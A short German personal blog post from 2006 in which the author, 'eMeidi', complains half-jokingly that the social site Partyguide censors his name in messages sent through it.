Sonntag, 4. Juni 2006

Partyguide zensiert eMeidi


Partyguide censors eMeidi
Originally uploaded by emeidi.

Mit einem weinenden und einem lachenden Auge habe ich soeben zur Kenntnis genommen, dass der Begriff eMeidi in Nachrichten, die über Partyguide verschickt werden, zensiert wird.

Einerseits freue ich mich auf den Eingang in die Liste der „Hall of fame“ der „banned words“ – andereseits: He Jungs, was soll der Scheiss?

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen